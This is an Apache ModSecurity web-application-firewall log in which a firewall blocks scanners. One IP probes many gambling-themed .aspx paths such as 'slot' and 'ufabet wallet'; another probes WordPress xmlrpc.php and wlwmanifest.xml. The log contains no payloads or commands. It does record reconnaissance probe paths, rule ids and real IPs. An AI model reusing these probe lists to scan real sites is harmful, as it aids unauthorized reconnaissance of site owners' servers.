[Tue Mar 17 02:48:11.622962 2026] [:error] [pid 3200:tid 3226] [client 87.185.66.78:65044] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abhQa1FOeKiNLMuAjedN1QAAARg"]
[Tue Mar 17 02:48:14.709727 2026] [:error] [pid 45652:tid 45655] [client 87.185.66.78:62037] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abhQbveWZ4w4tc07R6lkvgAAAMA"]
[Tue Mar 17 02:48:50.008557 2026] [:error] [pid 9635:tid 9655] [client 87.185.66.78:64435] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abhQknsAHChuwZxGaSgKQgAAAVI"]
[Tue Mar 17 02:48:52.848155 2026] [:error] [pid 9635:tid 9648] [client 87.185.66.78:64619] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abhQlHsAHChuwZxGaSgKSQAAAUs"]
[Tue Mar 17 02:48:54.436336 2026] [:error] [pid 45404:tid 45519] [client 87.185.66.78:64669] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abhQlmcrPifELUd8UWAcAwAAAAI"]
[Tue Mar 17 02:48:57.419539 2026] [:error] [pid 45404:tid 45517] [client 87.185.66.78:62809] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abhQmWcrPifELUd8UWAcCgAAAAA"]
[Tue Mar 17 02:48:59.095409 2026] [:error] [pid 45450:tid 45586] [client 87.185.66.78:64747] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abhQm7164tBAS29wdMgs1AAAAI8"]
[Tue Mar 17 02:49:02.808560 2026] [:error] [pid 45404:tid 45528] [client 87.185.66.78:64810] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abhQnmcrPifELUd8UWAcDgAAAAs"]
[Tue Mar 17 02:49:04.501651 2026] [:error] [pid 45404:tid 45534] [client 87.185.66.78:64842] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abhQoGcrPifELUd8UWAcDwAAABE"]
[Tue Mar 17 02:49:07.525632 2026] [:error] [pid 9635:tid 9656] [client 87.185.66.78:63122] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abhQo3sAHChuwZxGaSgKYgAAAVM"]
[Tue Mar 17 02:49:08.918356 2026] [:error] [pid 45450:tid 45573] [client 87.185.66.78:64938] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abhQpL164tBAS29wdMgs3wAAAII"]
[Tue Mar 17 02:49:12.188774 2026] [:error] [pid 45652:tid 45677] [client 87.185.66.78:63234] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abhQqPeWZ4w4tc07R6lk8AAAANY"]
[Tue Mar 17 02:49:13.528062 2026] [:error] [pid 45652:tid 45672] [client 87.185.66.78:63277] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abhQqfeWZ4w4tc07R6lk9AAAANE"]
[Tue Mar 17 02:49:16.669064 2026] [:error] [pid 9635:tid 9644] [client 87.185.66.78:63391] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abhQrHsAHChuwZxGaSgKbwAAAUc"]
[Tue Mar 17 02:49:18.474050 2026] [:error] [pid 9635:tid 9647] [client 87.185.66.78:65071] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abhQrnsAHChuwZxGaSgKdAAAAUo"]
[Tue Mar 17 02:49:21.570204 2026] [:error] [pid 9635:tid 9646] [client 87.185.66.78:65143] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abhQsXsAHChuwZxGaSgKfQAAAUk"]
[Tue Mar 17 02:49:24.878564 2026] [:error] [pid 45652:tid 45671] [client 87.185.66.78:65187] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abhQtPeWZ4w4tc07R6llDQAAANA"]
[Tue Mar 17 02:49:28.125953 2026] [:error] [pid 45404:tid 45531] [client 87.185.66.78:65235] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abhQuGcrPifELUd8UWAcLgAAAA4"]
[Tue Mar 17 02:49:29.877667 2026] [:error] [pid 45652:tid 45665] [client 87.185.66.78:65256] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abhQufeWZ4w4tc07R6llGQAAAMo"]
[Tue Mar 17 02:49:32.882229 2026] [:error] [pid 9635:tid 9643] [client 87.185.66.78:65299] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abhQvHsAHChuwZxGaSgKlAAAAUY"]
[Tue Mar 17 02:49:34.336109 2026] [:error] [pid 45652:tid 45668] [client 87.185.66.78:65332] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abhQvveWZ4w4tc07R6llIgAAAM0"]
[Tue Mar 17 02:49:37.338938 2026] [:error] [pid 45424:tid 45547] [client 87.185.66.78:63778] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abhQwYBy2Qv_YY3oWK7H7gAAAEM"]
[Tue Mar 17 02:49:39.005052 2026] [:error] [pid 45404:tid 45536] [client 87.185.66.78:65387] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abhQw2crPifELUd8UWAcPwAAABM"]
[Tue Mar 17 02:49:41.981508 2026] [:error] [pid 3200:tid 3219] [client 87.185.66.78:65436] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abhQxVFOeKiNLMuAjedOgQAAARE"]
[Tue Mar 17 02:49:44.203414 2026] [:error] [pid 3200:tid 3221] [client 87.185.66.78:65474] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abhQyFFOeKiNLMuAjedOigAAARM"]
[Tue Mar 17 02:50:12.200608 2026] [:error] [pid 3200:tid 3217] [client 87.185.66.78:49196] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abhQ5FFOeKiNLMuAjedO1gAAAQ8"]
[Tue Mar 17 02:50:13.564631 2026] [:error] [pid 9635:tid 9643] [client 87.185.66.78:49634] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abhQ5XsAHChuwZxGaSgKwQAAAUY"]
[Tue Mar 17 02:50:15.116101 2026] [:error] [pid 3200:tid 3221] [client 87.185.66.78:49665] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abhQ51FOeKiNLMuAjedO2gAAARM"]
[Tue Mar 17 02:50:18.320327 2026] [:error] [pid 45404:tid 45530] [client 87.185.66.78:49728] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abhQ6mcrPifELUd8UWAcgQAAAA0"]
[Tue Mar 17 02:50:19.809249 2026] [:error] [pid 3200:tid 3219] [client 87.185.66.78:49757] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abhQ61FOeKiNLMuAjedO5AAAARE"]
[Tue Mar 17 02:50:22.892551 2026] [:error] [pid 45424:tid 45544] [client 87.185.66.78:64852] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abhQ7oBy2Qv_YY3oWK7IKAAAAEA"]
[Tue Mar 17 02:50:24.342087 2026] [:error] [pid 3200:tid 3213] [client 87.185.66.78:49822] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abhQ8FFOeKiNLMuAjedO9QAAAQs"]
[Tue Mar 17 02:50:27.589410 2026] [:error] [pid 9635:tid 9651] [client 87.185.66.78:65018] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abhQ83sAHChuwZxGaSgK0QAAAU4"]
[Tue Mar 17 02:50:29.077648 2026] [:error] [pid 45424:tid 45552] [client 87.185.66.78:49876] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abhQ9YBy2Qv_YY3oWK7IMAAAAEg"]
[Tue Mar 17 02:50:32.413377 2026] [:error] [pid 9635:tid 9638] [client 87.185.66.78:61010] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abhQ-HsAHChuwZxGaSgK1QAAAUE"]
[Tue Mar 17 02:50:34.290111 2026] [:error] [pid 45404:tid 45518] [client 87.185.66.78:49921] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abhQ-mcrPifELUd8UWAclwAAAAE"]
[Tue Mar 17 02:50:37.919355 2026] [:error] [pid 45652:tid 45679] [client 87.185.66.78:49958] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abhQ_feWZ4w4tc07R6lldgAAANg"]
[Tue Mar 17 02:50:43.085612 2026] [:error] [pid 9635:tid 9643] [client 87.185.66.78:49979] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abhRA3sAHChuwZxGaSgK3QAAAUY"]
[Tue Mar 17 02:50:46.305357 2026] [:error] [pid 45652:tid 45670] [client 87.185.66.78:61210] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abhRBveWZ4w4tc07R6lljgAAAM8"]
[Tue Mar 17 02:50:47.684989 2026] [:error] [pid 3200:tid 3217] [client 87.185.66.78:50044] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abhRB1FOeKiNLMuAjedPKwAAAQ8"]
[Tue Mar 17 02:50:52.353841 2026] [:error] [pid 3200:tid 3207] [client 87.185.66.78:50073] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abhRDFFOeKiNLMuAjedPOAAAAQU"]
[Tue Mar 17 02:50:54.785854 2026] [:error] [pid 45652:tid 45665] [client 87.185.66.78:61287] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abhRDveWZ4w4tc07R6llmwAAAMo"]
[Tue Mar 17 02:50:57.800821 2026] [:error] [pid 3200:tid 3213] [client 87.185.66.78:61347] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abhREVFOeKiNLMuAjedPSAAAAQs"]
[Tue Mar 17 02:50:59.308538 2026] [:error] [pid 9635:tid 9653] [client 87.185.66.78:50131] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abhRE3sAHChuwZxGaSgLAAAAAVA"]
[Tue Mar 17 02:51:02.221747 2026] [:error] [pid 45404:tid 45537] [client 87.185.66.78:61414] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abhRFmcrPifELUd8UWAcrAAAABQ"]
[Tue Mar 17 02:51:03.719689 2026] [:error] [pid 45424:tid 45556] [client 87.185.66.78:50177] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abhRF4By2Qv_YY3oWK7IRQAAAEw"]
[Tue Mar 17 02:51:07.179434 2026] [:error] [pid 45404:tid 45522] [client 87.185.66.78:50197] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abhRG2crPifELUd8UWActwAAAAU"]
[Tue Mar 17 02:51:08.649744 2026] [:error] [pid 45652:tid 45673] [client 87.185.66.78:50214] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abhRHPeWZ4w4tc07R6llrQAAANI"]
[Tue Mar 17 02:56:24.557018 2026] [:error] [pid 45404:tid 45525] [client 34.75.90.217:51850] [client 34.75.90.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.90.217, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abhSWGcrPifELUd8UWAebAAAAAg"]
[Tue Mar 17 02:56:24.596742 2026] [:error] [pid 45404:tid 45540] [client 34.75.90.217:54148] [client 34.75.90.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.90.217, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abhSWGcrPifELUd8UWAebQAAABc"]
[Tue Mar 17 02:56:25.061859 2026] [:error] [pid 45404:tid 45517] [client 34.75.90.217:51850] [client 34.75.90.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "abhSWWcrPifELUd8UWAecQAAAAA"]
[Tue Mar 17 02:56:25.126469 2026] [:error] [pid 45404:tid 45531] [client 34.75.90.217:54148] [client 34.75.90.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "abhSWWcrPifELUd8UWAecgAAAA4"]
[Tue Mar 17 02:56:25.994436 2026] [:error] [pid 9635:tid 9640] [client 34.75.90.217:65467] [client 34.75.90.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "abhSWXsAHChuwZxGaSgNswAAAUM"]
[Tue Mar 17 02:56:26.104055 2026] [:error] [pid 45652:tid 45658] [client 34.75.90.217:61380] [client 34.75.90.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "abhSWveWZ4w4tc07R6lnigAAAMM"]
